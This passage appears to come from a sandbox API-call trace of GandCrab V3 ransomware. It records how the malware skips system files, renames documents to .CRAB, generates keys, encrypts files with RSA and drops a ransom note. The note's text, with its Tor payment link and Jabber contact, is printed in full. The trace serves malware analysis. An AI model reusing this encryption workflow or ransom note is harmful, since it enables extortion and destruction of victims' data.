	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="ntuser.dat") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="iconcache.db") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="bootsect.bak") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="boot.ini") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="ntuser.dat.log") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="thumbs.db") returned -1
	[0127.514] lstrcmpiW (lpString1="9WSg2PHx2es e0t4L.rtf", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.514] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.514] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB") returned 103
	[0127.514] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\9wsg2phx2es e0t4l.rtf")) returned 0x20
	[0127.515] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf", dwFileAttributes=0x20) returned 1
	[0127.515] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\9wsg2phx2es e0t4l.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\9wsg2phx2es e0t4l.rtf.crab")) returned 1
	[0127.516] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.539] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB"
	[0127.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB.CRAB"
	[0127.539] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0127.541] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.541] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.541] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0127.541] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0127.541] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.541] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0127.543] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.544] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.544] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0127.544] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.544] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.544] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.544] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.545] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0127.547] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318edb8) returned 1
	[0127.551] CryptGetKeyParam (in: hKey=0x318edb8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.551] CryptEncrypt (in: hKey=0x318edb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0127.551] GetLastError () returned 0x0
	[0127.551] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.551] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e408) returned 1
	[0127.554] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x318f3b8) returned 1
	[0127.555] CryptGetKeyParam (in: hKey=0x318f3b8, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0127.555] CryptEncrypt (in: hKey=0x318f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0127.555] GetLastError () returned 0x0
	[0127.555] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.555] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\9WSg2PHx2es e0t4L.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\9wsg2phx2es e0t4l.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.555] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.556] ReadFile (in: hFile=0x140, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314a9cc*=0x6650, lpOverlapped=0x0) returned 1
	[0127.568] VirtualAlloc (lpAddress=0x0, dwSize=0x6650, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.569] VirtualAlloc (lpAddress=0x0, dwSize=0x6650, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.569] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.569] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff99b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.570] WriteFile (in: hFile=0x140, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6650, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314a9bc*=0x6650, lpOverlapped=0x0) returned 1
	[0127.570] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.570] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.573] WriteFile (in: hFile=0x140, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.573] WriteFile (in: hFile=0x140, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0127.573] WriteFile (in: hFile=0x140, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0127.573] CloseHandle (hObject=0x140) returned 1
	[0127.573] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.574] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.574] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.574] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.574] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.574] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.575] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.575] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0127.575] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0127.575] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt"
	[0127.575] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.575] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt") returned 93
	[0127.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt") returned 93
	[0127.575] lstrlenW (lpString=".txt") returned 4
	[0127.575] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.575] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0127.575] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt") returned 93
	[0127.575] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\CRAB-DECRYPT.txt") returned 93
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0127.575] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0127.576] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0127.576] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0127.576] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0127.576] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.576] FindNextFileW (in: hFindFile=0x318f378, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0127.576] lstrcmpW (lpString1="FbnUFOtS8v1q89", lpString2=".") returned 1
	[0127.576] lstrcmpW (lpString1="FbnUFOtS8v1q89", lpString2="..") returned 1
	[0127.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\", lpString2="FbnUFOtS8v1q89" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89"
	[0127.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\"
	[0127.576] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0127.576] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0127.576] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0127.576] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0127.576] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0127.576] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0127.576] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0127.576] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.577] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\\\CRAB-DECRYPT.txt") returned 109
	[0127.577] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0127.578] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0127.578] WriteFile (in: hFile=0x140, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0127.578] CloseHandle (hObject=0x140) returned 1
	[0127.578] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.579] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\") returned 92
	[0127.579] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\*"
	[0127.579] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0x318f438
	[0127.579] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0127.579] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.579] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0127.579] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0127.579] FindNextFileW (in: hFindFile=0x318f438, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0127.579] lstrcmpW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2=".") returned 1
	[0127.579] lstrcmpW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="..") returned 1
	[0127.580] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\", lpString2="1rnfm34W_947JMzhlLe.ppt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt"
	[0127.580] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.580] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt") returned 115
	[0127.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt") returned 115
	[0127.580] lstrlenW (lpString=".ppt") returned 4
	[0127.580] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.580] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ppt ") returned 5
	[0127.580] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt") returned 115
	[0127.580] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt") returned 115
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="desktop.ini") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="autorun.inf") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="ntuser.dat") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="iconcache.db") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="bootsect.bak") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="boot.ini") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="ntuser.dat.log") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="thumbs.db") returned -1
	[0127.580] lstrcmpiW (lpString1="1rnfm34W_947JMzhlLe.ppt", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.580] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.581] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB") returned 120
	[0127.581] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\1rnfm34w_947jmzhlle.ppt")) returned 0x20
	[0127.581] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt", dwFileAttributes=0x20) returned 1
	[0127.581] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\1rnfm34w_947jmzhlle.ppt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\htVo\\hByA2phraHjC83xIj\\FbnUFOtS8v1q89\\1rnfm34W_947JMzhlLe.ppt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\htvo\\hbya2phrahjc83xij\\fbnufots8v1q89\\1rnfm34w_947jmzhlle.ppt.crab")) returned 1
	[0127.582] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
